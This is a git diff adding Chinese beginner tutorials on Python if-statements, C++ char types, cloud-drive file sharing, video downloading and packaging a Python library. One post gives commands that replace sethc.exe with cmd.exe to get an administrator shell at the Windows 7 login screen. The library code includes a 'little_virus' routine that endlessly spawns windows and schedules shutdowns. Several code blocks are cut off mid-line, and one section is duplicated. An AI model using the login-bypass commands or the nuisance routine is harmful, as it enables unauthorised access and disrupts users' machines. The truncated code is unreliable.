+(5)需要注意一下,这里需要修复的是当前PE下看到的原来系统分区的卷标。如图这里是`C:`。![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e919b1ac3fb34bb396a244a46c64e7a6.png) +选择后面的【C:】(直接点击),开始修复。![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/1dbd28675e05411c821fe0630c56d43e.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/7659ff1e9bc145b4903493891c9f1d1b.png) +(6)退出程序,重启。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/70af0b54880443b9904e0ae2994659a0.png) +(7)完活儿。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d017335f718946f3b910ce0a684feb48.png) + + diff --git "a/\345\217\221\345\270\203\347\250\213\345\272\217\346\226\207\344\273\266\347\232\204\346\226\271\346\263\225.md" "b/\345\217\221\345\270\203\347\250\213\345\272\217\346\226\207\344\273\266\347\232\204\346\226\271\346\263\225.md" new file mode 100644 index 0000000..f927632 --- /dev/null +++ "b/\345\217\221\345\270\203\347\250\213\345\272\217\346\226\207\344\273\266\347\232\204\346\226\271\346\263\225.md" @@ -0,0 +1,32 @@ +> 相信很多新手朋友都不喜欢`Github`,今天我就来给大家提供一个方法不使用它——使用网盘。我们需要准备的材料有:可用的网络、蓝奏云网站的地址(在这里提供给大家:`https://www.lanzou.com/`),一个蓝奏云网盘账号(没有的请自己去注册)。 + +请打开[蓝奏云](https://www.lanzou.com/)网站,点击登录(没有账号请先点注册,按照提示的步骤注册一个新的即可),应该是这个页面: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201113211130635.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +将![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201113211156316.png#pic_center)滑动到最右边,再点击登录,进入的页面应该是这个样子的: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201113211256123.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) + +点击“新建文件夹”,输入文件夹名称和描述,点击保存。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201113211439927.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +实现效果: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201113211536274.png#pic_center) +点那三个点,选中其中的“设置访问密码”,把它关掉,保存。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201113211713884.png#pic_center) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201113211720500.png#pic_center) +进入这一层目录,点击“上传文件”,上传一个项目,点击“打开”,点击“开始上传”,等待上传完成后就可以看到它了。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201113211840982.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201113212000938.png#pic_center) +我们退回到文件夹外,还是点击那三个点,这回选中“外链分享地址”: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201113212049751.png#pic_center) +复制上面的网址,可以把下面的二维码保存。![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201113212200679.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +打开这个网址或扫描二维码后是这个页面,就说明你做对了。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201113212406401.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +点击文件名可以去下载页面: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201113212436422.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +如果后期更新的话,可以像刚才的方法一样,创建一个文件夹,里面是历代的程序文件,把最新版放到外面。如果文件大于`100MB`,如果压缩还是超大,请使用百度网盘,上传上去后使用文本文档记录链接和下载码,放在文本文档里,最后添加到网盘。 + +下面是一个例子: + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201113213038453.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +然后,我们可以通过博客、360DOC、微博等发布信息,广播程序,使更多的人看到,使更多的人下载。 + +最后,祝愿大家的程序能够“码到程功”! diff --git "a/\345\233\233\343\200\201if\350\257\255\345\217\245.md" "b/\345\233\233\343\200\201if\350\257\255\345\217\245.md" new file mode 100644 index 0000000..08f99d7 --- /dev/null +++ "b/\345\233\233\343\200\201if\350\257\255\345\217\245.md" @@ -0,0 +1,102 @@ +今天我们来一起学习一个新的语句——`if语句`。 +我们首先打开开发工具,新建空白文件,输入以下代码: + +```python +score = int(input('请输入你的期末考试成绩:')) +``` +这是一个很简单的程序,让用户输入考试分数,并将其强转为整数类型,储存在变量中。如果我们想判断成绩是否优秀,我们就要用到`if语句`了。`if语句`的结构是: + +```python +if 判断条件为True: #要使用就必须有,符合的话运行语法块 + 运行语法块 +elif 判断条件: #中间可以有无限个elif,当然也可以没有,可有可无,用于判断多个条件 + 运行语法块 +else: #可有可无,如果都不符合 + 运行语法块 +``` +主要的结构有这样几种: + +```python +if语句 +if-else语句 +if-elif语句 +if-elif-else语句 +``` + +要知道,`判断条件`就是一个`表达式`,那么怎么表达呢? +```python +True 真 +False 假 +None 空,无 +A is B A和B一样,可以判断是否为真或假 +A == B 如果A和B完全一样(一定要注意是两个“=”) +A >= B 如果A≥B +A <= B 如果A≤B +A != B 如果A≠B +A < B 如果A B 如果A>B +A in B 如果B包含A +A and B 如果A和B都是True(必须都是,才能运行下面的语法块,我们称之为“一假则假”) +A or B 如果A或B有一个是True(有一个是即可,我们称之为“一真则真”) +not A 取反(如果A是True,那么表达式的意思就是False;如果A是False,那么表达式的意思就是True) + +……………… +(还有很多,以后我们会学到。注意类型要匹配!) +———————————————————————————————————————————————————————————————————— +很多内容,一起就在这介绍吧,这些是赋值运算符: + +a + b 加法运算 +a - b 减法运算 +a * b 乘法运算 +a / b 除法运算 +a % b 取余运算 +a ** b 乘方运算 +a // b 整除运算 +a += b a递增b +a -= b a递减b +a *= b a递乘b +a /= b a递除b +a //= b a整除b +a **= b a作b的幂运算 +a %= b a取余b +``` +我们套一下上面的结构: + +```python +score = int(input('请输入你的期末考试成绩:')) +if score >= 90 and score <= 100: + print('优秀!') +elif score >= 80 and score < 90: + print('良好!') +elif score >= 60 and score < 80: + print('及格!') +elif score < 60 and score >= 0: + print('不及格!') +else: + print('输入有误!') +``` +这样,我们的程序就完成了。 +
+上面所说的很简单,以后我们会学习更深的。 + +下面我们来说说,为什么 `True > False`。 +布尔类型的真(`True`)可以被代表为1,假可以被代表为0。 +那么现在问题就好解决了,`1 > 0`好理解不? +
+ +`if`语句可以运行,也可以不运行: + +```python +if True: + print('运行') + +if False: + print('不运行') +``` +
+ +```python +今天我们的作业只有一道题: +请使用if-elif-else判断用户输入的年龄,如果年龄≥18,输出“成年人”;如果年龄≥45,输出“中年人”;如果年龄≥60且年龄≤100,那么输出“老年人”,不考虑其他情况。 +``` + diff --git "a/\345\233\233\343\200\201\345\255\227\347\254\246\345\270\270\351\207\217 & \345\255\227\347\254\246\344\270\262.md" "b/\345\233\233\343\200\201\345\255\227\347\254\246\345\270\270\351\207\217 & \345\255\227\347\254\246\344\270\262.md" new file mode 100644 index 0000000..2112226 --- /dev/null +++ "b/\345\233\233\343\200\201\345\255\227\347\254\246\345\270\270\351\207\217 & \345\255\227\347\254\246\344\270\262.md" @@ -0,0 +1,105 @@ +> 气死我了,我刚才写了半天的文章,浏览器一个闪退全给我毁了!!![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/405d8a12d77884215a2d6a6187ba1468.png) + +# 字符常量 +什么是字符常量?跟字符串有什么关系?好问题。 +这玩意儿,曾经把我心态整崩过。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/8a1e2a083d46beb627501faf817db24f.png) + +在讲字符常量以前,我们先说说 [ASCII](https://www.zybuluo.com/pandaoxi2022/note/2322378) 表。 +什么叫 ASCII ? —— +> ASCII (American Standard Code for Information Interchange):美国信息交换标准代码是基于拉丁字母的一套电脑编码系统,主要用于显示现代英语和其他西欧语言。它是最通用的信息交换标准,并等同于国际标准 ISO/IEC 646。ASCII第一次以规范标准的类型发表是在1967年,最后一次更新则是在1986年,到目前为止共定义了128个字符。 + +总之,在信息学竞赛的范围内,你能用上的地方就是 整数类型 与 字符常量 的互相转化。 + +今天,我们将认识一位新朋友 —— `char`类型,它可以表示 ASCII 表中的单个字符。 +众所周知,在计算机的视野内只有数字,一切都是建立在数字的基础上的。更进一步说,其实计算机啥也不会,只知道有电(1)还是没电(0),这样形成了二进制。你看,在 ASCII 表中,有10进制的数码对应字符,我们就可以使用强制类型转换将其转化为char类型,也可以用char类型转为int 类型。 + +```cpp +// 转换为整数 +char s='A'; // 字符常量要使用单引号括起来 +int a=s; +cout< +using namespace std; +int main(){ + int n; + cin>>n; + cout<<'A'+n; + return 0; +} +``` +根据我们刚才所介绍的知识,来做两个题: +Luogu B2018 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/cfe14ca0f5015d0dfb47f5c616fcefdb.png) +Luogu B2017 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/82f93492e44117b087d5ac789a967127.png) +简简单单,自己试试吧!😁 + +## 拓展:控制字符 +大家看, ASCII 表上的前几个都是控制字符。比如 8号是回退(Backspace)、9号是制表(Tab),10号是换行。 + 对于回退,大家可以尝试按下键盘上的`insert`感受,回退到前面的字符时,再次输入,后来的字符会代替前面的字符。 +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + cout<<"a"; //正常的输出 + cout< +using namespace std; +int main(){ + cout<<"a"; //正常的输出 + cout< 气死我了,我刚才写了半天的文章,浏览器一个闪退全给我毁了!!![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/405d8a12d77884215a2d6a6187ba1468.png) + +# 字符常量 +什么是字符常量?跟字符串有什么关系?好问题。 +这玩意儿,曾经把我心态整崩过。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/8a1e2a083d46beb627501faf817db24f.png) + +在讲字符常量以前,我们先说说 [ASCII](https://www.zybuluo.com/pandaoxi2022/note/2322378) 表。 +什么叫 ASCII ? —— +> ASCII (American Standard Code for Information Interchange):美国信息交换标准代码是基于拉丁字母的一套电脑编码系统,主要用于显示现代英语和其他西欧语言。它是最通用的信息交换标准,并等同于国际标准 ISO/IEC 646。ASCII第一次以规范标准的类型发表是在1967年,最后一次更新则是在1986年,到目前为止共定义了128个字符。 + +总之,在信息学竞赛的范围内,你能用上的地方就是 整数类型 与 字符常量 的互相转化。 + +今天,我们将认识一位新朋友 —— `char`类型,它可以表示 ASCII 表中的单个字符。 +众所周知,在计算机的视野内只有数字,一切都是建立在数字的基础上的。更进一步说,其实计算机啥也不会,只知道有电(1)还是没电(0),这样形成了二进制。你看,在 ASCII 表中,有10进制的数码对应字符,我们就可以使用强制类型转换将其转化为char类型,也可以用char类型转为int 类型。 + +```cpp +// 转换为整数 +char s='A'; // 字符常量要使用单引号括起来 +int a=s; +cout< +using namespace std; +int main(){ + int n; + cin>>n; + cout<<'A'+n; + return 0; +} +``` +根据我们刚才所介绍的知识,来做两个题: +Luogu B2018 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/cfe14ca0f5015d0dfb47f5c616fcefdb.png) +Luogu B2017 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/82f93492e44117b087d5ac789a967127.png) +简简单单,自己试试吧!😁 + +## 拓展:控制字符 +大家看, ASCII 表上的前几个都是控制字符。比如 8号是回退(Backspace)、9号是制表(Tab),10号是换行。 + 对于回退,大家可以尝试按下键盘上的`insert`感受,回退到前面的字符时,再次输入,后来的字符会代替前面的字符。 +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + cout<<"a"; //正常的输出 + cout< +using namespace std; +int main(){ + cout<<"a"; //正常的输出 + cout<`。 + +
+ +如何快速生成一个数字列表? + +```python +#输出100以内的偶数 +print([i for i in range(1,101) if i % 2 == 0]) + +#输出100以内的奇数 +print([i for i in range(1,101) if i % 2 == 1]) +``` + diff --git "a/\345\246\202\344\275\225\344\270\213\350\275\275\345\277\253\346\211\213\350\247\206\351\242\221.md" "b/\345\246\202\344\275\225\344\270\213\350\275\275\345\277\253\346\211\213\350\247\206\351\242\221.md" new file mode 100644 index 0000000..b2f40c9 --- /dev/null +++ "b/\345\246\202\344\275\225\344\270\213\350\275\275\345\277\253\346\211\213\350\247\206\351\242\221.md" @@ -0,0 +1,27 @@ +这个问题嘛,首先要尊重版权,我不多说了。 +大家都知道我们快要元旦联欢会了,作为一名主持人,节目相关的事务需要我来处理。 +就在刚才我帮助一位同学下载了她要学习的舞蹈视频,来自快手的视频。 +本来觉得很难,结果出乎意料的简单。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/88e766d1cdca4c3a90052c6a2fb4505d.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +哈哈哈,话不多说,看看怎么办。 + +
+ +首先第一步在浏览器里打开视频的链接。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8c8f21e2909c4ffd8c80bbd0ab7b4e36.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +暂停视频,**打开审查元素**。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6aa38dbbfd17425eb5ce56a0410af076.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +点视频模块,定位到这里了: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d4c46a22bc764b55aebd8263f495d3c6.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +选择上一层,以HTML形式编辑。 +程序如下: + +```php + +``` +打开[在线运行程序工具](https://www.bccn.net/run/),选择`PHP`语言,把程序写进去。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3313baeb580f42358f3b277d92b2caee.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +运行以后视频出现,右键选择**视频另存为**。然后该怎样就怎样了。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/15dbe49cda7e43e0af7146e5cb8888ca.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d378b80308014b51866e1885beb39a49.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + diff --git "a/\345\246\202\344\275\225\344\277\256\346\224\271\347\262\230\346\273\236\351\224\256\345\220\257\345\212\250\347\232\204\347\250\213\345\272\217.md" "b/\345\246\202\344\275\225\344\277\256\346\224\271\347\262\230\346\273\236\351\224\256\345\220\257\345\212\250\347\232\204\347\250\213\345\272\217.md" new file mode 100644 index 0000000..3b88292 --- /dev/null +++ "b/\345\246\202\344\275\225\344\277\256\346\224\271\347\262\230\346\273\236\351\224\256\345\220\257\345\212\250\347\232\204\347\250\213\345\272\217.md" @@ -0,0 +1,24 @@ +有时候忘记了windows7启动的密码,手边又没有U盘,就可以用windows7粘滞键的一个bug,来修改密码。这需要使用粘滞键的程序。 + +在电脑上连续按下5次shift键,即可唤出粘滞键。![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ee373240dd8f4840ad70dec869169050.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +粘滞键的文件是`C:\Windows\System32\sethc.exe`,我们需要将其替换为`CMD`。正常情况下(指并没有进入修复模式),这个文件无法修改。 +(因为是系统文件,尽量还是不要动它,下面的操作都在虚拟机中运行) + +这时,我们需要借助一款叫做`NSudo`的工具,[请点击这里下载](https://pandaoxi2020.lanzouy.com/iSwY3z6vtvc)。部分杀毒软件会报毒,因为这个工具可以创建最高特权的进程,对任何文件进行操作,一旦被利用,非常危险。 + +下载后解压缩,里面可以使用各种版本的`NSudo`。我这里使用`x64`,运行`NSudoLG.exe`, +![](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c2df3005d1bf47e18b9002bdfb28cabb.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_17,color_FFFFFF,t_70,g_se,x_16) +选择想要的权限,这里是最高的权限,启用全部特权。 +打开`CMD`。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4cdcf1f647dc45cb8c7c5d1d7f608c3a.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_18,color_FFFFFF,t_70,g_se,x_16) +点击运行后,在命令提示符中输入: + +``` +cd %windir%\system32 +rename sethc.exe sethc_.exe +copy cmd.exe sethc.exe +``` +这时再次调用粘滞键: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/39f9984e03ba4d4c893a749360e38f57.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +即可唤出cmd,在windows7登录界面会显示管理员身份的cmd。 +当然,使用这种办法也可以调用别的程序。 diff --git "a/\345\246\202\344\275\225\345\210\266\344\275\234\344\270\200\344\270\252Python\345\272\223.md" "b/\345\246\202\344\275\225\345\210\266\344\275\234\344\270\200\344\270\252Python\345\272\223.md" new file mode 100644 index 0000000..24375a0 --- /dev/null +++ "b/\345\246\202\344\275\225\345\210\266\344\275\234\344\270\200\344\270\252Python\345\272\223.md" @@ -0,0 +1,418 @@ +这篇文章简要介绍了如何创造Python库。 + +我在这里使用我的作品`tools`来演示。 +我们需要以下几个文件: + +> `setup.py` +> `tools.py` +> `__init__.py` +> `RENAME.txt` + +我们要先在一个文件夹里创建这些文件,这个文件夹名为`tools`。 + +在`__init__.py`文件中,输入以下内容: + +```python +__author__ = 'Pan Daoxi' +__all__ = [ + 'Box', + 'Requests', + 'Error', + 'data', + 'calc', + 'output_calendar', + 'Decryption', + 'File', + 'Programing', + 'Shortcuts', + 'Number', + 'help' + ] +``` + +在`setup.py`中,输入以下内容: + +```python +from setuptools import setup,find_packages + +setup( + name = 'tools', + version = '1.0', + description = 'This module provides some programming tools.', + author = "Pan Daoxi", + author_email = '2060642520@qq.com', + url = 'https://me.csdn.net/PanDaoxi2020', + license = 'LGPL', + py_modules = ['tools','__init__'], + packages= find_packages(), + ) +``` +在`RANAME.txt`里面输入介绍内容: + +```python +This module provides some programming tools. +``` +最主要的内容是`tools.py`,是库的主要内容: + +```python +from win10toast import ToastNotifier +from requests import get,post +from tkinter import Tk +from tkinter.messagebox import showinfo,showwarning,showerror +from tkinter.filedialog import askopenfilename,askopenfilenames +from os import name,system,makedirs,environ,remove,getcwd +from os.path import splitext,exists +from time import strftime,sleep +from calendar import calendar +from base64 import b64encode,b64decode +from random import shuffle,choice,randint +from math import pi,e + +system('chcp 65001 >nul') +hide = Tk() +toaster = ToastNotifier() + +class Error(Exception): + def __init__(self): + pass + def __str__(self): + return 'Please Check Your Code.' + +class Box(): + def __init__(self): + pass + def info(self,title,message): + hide.withdraw() + showinfo(title,message) + hide.mainloop() + def error(self,title,message): + hide.withdraw() + showerror(title,message) + hide.mainloop() + def warning(self,title,message): + hide.withdraw() + showwarning(title,message) + hide.mainloop() + def ask(self,title,message): + with open('box.vbs','w+',encoding = 'ANSI') as vbs_box: + vbs_box.write('Msgbox "{0}",32,"{1}"'.format(message,title)) + system('call "box.vbs"') + remove('box.vbs') + def vbs_box(self,code): + with open('box.vbs','w+',encoding = 'ANSI') as vbs_box: + vbs_box.write(code) + system('call "box.vbs"') + remove('box.vbs') +def data(): + global data + data = { + 'running' : __name__, + 'system' : name, + 'path' : getcwd(), + 'file' : __file__, + 'username' : environ['USERNAME'], + 'time' : strftime('%Y-%m-%d %H:%M:%S') + } + print('data =',data) + return data + +class Decryption(): + def __init__(self): + self.encode_type = 'base64' + def encryption(self,text = 'Tools Modular'): + result = b64encode(text.encode('utf-8')) + return result + def decrypt(self,text = b'VG9vbHMgTW9kdWxhcg=='): + result = b64decode(text).decode('utf-8') + return str(result) + +def output_calendar(year): + try: + print(calendar(int(year))) + except: + raise Error + +def calc(formula): + if len(formula) != 0: + print('result :',eval(formula)) + return eval(formula) + else: + raise Error + +class Requests(): + def __init__(self): + self.url = ' ' + self.host = ' ' + self.data = {' ' : ' '} + self.params = {' ' : ' '} + self.name = ' ' + def post(self): + response = post(self.url,params = self.params,data = self.data) + print('Response Result :',response) + content = response.json() + print('Analytical Result :',content) + return content + def get(self): + response = get(self.url,data = self.data) + print('Response Result :',response) + content = response.json() + print('Analytical Result :',content) + return content + def download(self): + response = get(self.url) + with open(self.name,'wb') as downloads: + downloads.write(response.content) + +class File(): + def __init__(self): + self.file_type = 'r' + self.file_path_name = 'C:/readme.txt' + self.encoding = 'utf-8' + self.write_letter = 'Tools Modular' + self.initialdir = 'C:/' + self.title = 'Please Choice The File(s).' + self.extended = '.txt' + def read_file(self): + with open(self.file_path_name,self.file_type,encoding = self.encoding) as read_file: + content = read_file.read() + return content + def write_file(self): + with open(self.file_path_name,self.file_type,encoding = self.encoding) as write_file: + write_file.write(self.write_letter) + def choice_one_file(self,content = [('Python File','*.py')]): + hide.withdraw() + file_name = askopenfilename(initialdir = self.initialdir,filetypes = content,title = self.title) + return file_name + hide.mainloop() + def choice_files(self,content = ['Python File','*.py']): + hide.withdraw() + file_name = askopenfilenames(initialdir = self.initialdir,filetypes = content,title = self.title) + return file_name + hide.mainloop() + def is_extended(self): + if splitext(self.file_path_name)[1] == self.extended: + return True + else: + return False + def remove_file(self): + remove(self.file_path_name) + +class Programing(): + def __init__(self): + pass + def run_Batch(self,code): + if len(code) != 0: + with open('batch.bat','w+',encoding = 'utf-8') as bat: + bat.write(code) + system('call "batch.bat"') + remove('batch.bat') + else: + raise Error + def run_Python(self,code): + if len(code) != 0: + with open('python.py','w+',encoding = 'utf-8') as python: + python.write(code) + system('call "python.py"') + remove('python.py') + else: + raise Error + def run_VBS(self,code): + if len(code) != 0: + with open('vb.vbs','w+',encoding = 'utf-8') as vbs: + vbs.write(code) + system('call "vb.vbs"') + remove('vb.vbs') + else: + raise Error + def run_HTML(self,code): + if len(code) != 0: + with open('html5.htm','w+',encoding = 'utf-8') as html: + html.write(code) + system('call "html5.htm"') + remove('html5.htm') + else: + raise Error + def run_Cpp(self,code): + if len(code) != 0: + with open('c++.cpp','w+',encoding = 'utf-8') as cpp: + bat.write(code) + system('call "c++.cpp"') + remove('c++.cpp') + else: + raise Error + def run_C(self,code): + if len(code) != 0: + with open('c.c','w+',encoding = 'utf-8') as c: + c.write(code) + system('call "c.c"') + remove('c.c') + else: + raise Error + def run_EXE(self,code): + if len(code) != 0: + with open('exe.exe','w+',encoding = 'utf-8') as exe: + exe.write(code) + system('call "exe.exe"') + remove('exe.exe') + else: + raise Error + def run_orthers_language(self): + system('start iexplore "https://www.bccn.net/run/"') + +class Shortcuts(): + def __init__(self): + pass + def lock(self): + system('rundll32 user32.dll,LockWorkStation') + def say(self,text): + with open('say.vbs','w+',encoding = 'ANSI') as vbs: + vbs.write('set sapi = createObject("SaPi.SpVoice")\nsapi.Speak "%s"' % (text)) + system('call "say.vbs"') + remove('say.vbs') + def color(self,number): + system('color ' + number) + def echo(self,text): + system('echo ' + text) + def chcp(self,number): + system('chcp ' + number) + def variable(self): + system('set') + def tasklist(self): + system('tasklist') + def cls(self): + system('cls') + def taskkill(self,exe): + system('taskkill /im %s /f' % (exe)) + def big_file(self,byte): + system('fsutil file createNew big_file.txt ' + byte) + def cmd(self): + system('start ') + def powershell(self): + system('powershell') + def explorer(self,path): + system('explorer "%s"' % (path)) + def mspaint(self,path): + system('mspaint "%s"' % (path)) + def control(self): + system('C:\\Windows\\System32\\control.exe') + def notepad(self,path): + system('notepad "%s"' % (path)) + def write(self): + system('C:\\Windows\\write.exe') + def F5(self): + system('taskkill /im explorer.exe /f & explorer') + def shutdown(self,params = '/s /t 00'): + system('shutdown %s' % params) + def run(self,command): + system(command) + def iexplore(self,page): + system('start iexplore "%s"' % (page)) + def title(self,caption): + system('title ' + caption) + def pause(self): + system('pause') + def clean(self): + system('cleanmgr') + def calc(self): + system('calc') + def makedir(self,path): + system('md "%s"' % (path)) + def ver(self): + system('ver') + def copy(self,path = ['C:\\readme.txt','D:\\']): + system('copy "%s" "%s"' % (path[0],path[1])) + def move(self,path = ['C:\\readme.txt','D:\\']): + system('copy "%s" "%s"' % (path[0],path[1])) + def translate(self): + system('start iexplore "https://fanyi.baidu.com/"') + def type(self,path): + system('type "path"') + def delete(self,path): + system('del /q /s /f "%s"' % (path)) + def open(self,program): + system('call "%s"' % (program)) + def little_virus(self): + while True: + self.cmd() + self.shutdown('/s /t 100') + def cmd_exit(self): + system('exit') + def cd(self,path): + system('cd "%s"' % (path)) + def rename(self,path = ['C:\\readme.txt','python_rename.txt']): + system('ren "%s" "%s"' % (path[0],path[1])) + def ipconfig(self): + system('ipconfig') + def countdown(self,number): + self.color('0A') + self.title('Count Down.') + while number >= 0: + if number == 0: + return 'Okay' + toaster.show_toast('Count Down', + 'Your Countdown Is Complete!', + icon_path = None, + duration = 10, + threaded = True) + self.say('your count down is complete!') + print(number) + number -= 1 + sleep(1) + self.cls() + def timer(self): + self.color('0A') + self.title('Current Time.') + while True: + print(strftime('%Y-%m-%d %H:%M:%S')) + sleep(1) + self.cls() + +class Number(): + def __init__(self): + self.format_list = [] + self.__numbers = [] + self.pi = pi + self.e = e + def all_numbers(self,number): + for i in range(1,number + 1): + self.__numbers.append(i) + return self.__numbers + def sum(self): + number_sum = 0 + for i in self.__numbers: + number_sum += i + return number_sum + def write_to_numbers_list(self,number): + for i in range(1,number + 1): + self.__numbers.append(i) + def random_integer(self,maximum = 100): + return randint(0,100) + def list_shuffle(self): + return shuffle(self.format_list) + def choice(self): + return choice(self.format_list) + +def help(): + imgfile = get('https://img-blog.csdnimg.cn/2020090920543570.jpg') + with open('wechat.jpg','wb') as img: + img.write(imgfile.content) + system('call "wechat.jpg"') + system('move "wechat.jpg" "C:\\"') + system('start iexplore "https://docs.qq.com/doc/DUUxBbGNzUGlXYVlY"') + print('''About This Mode: +\tAuthor : Pan Daoxi +\tQQ : 2060642520@qq.com +\tBlog(CSDN) : https://me.csdn.net/PanDaxi2020 +\tE-mail : 2060642520@qq.com +\tLanguage : English (Python)''') +``` +我还制作了帮助文档,请尝试`help()`函数。 + +现在,我们的库已经完成了。 +打开命令提示符,切到当前目录,输入以下代码: + +```python +py -3 setup.py sdist +``` +如果没有报错,那么恭喜您:您的库创建成功啦! 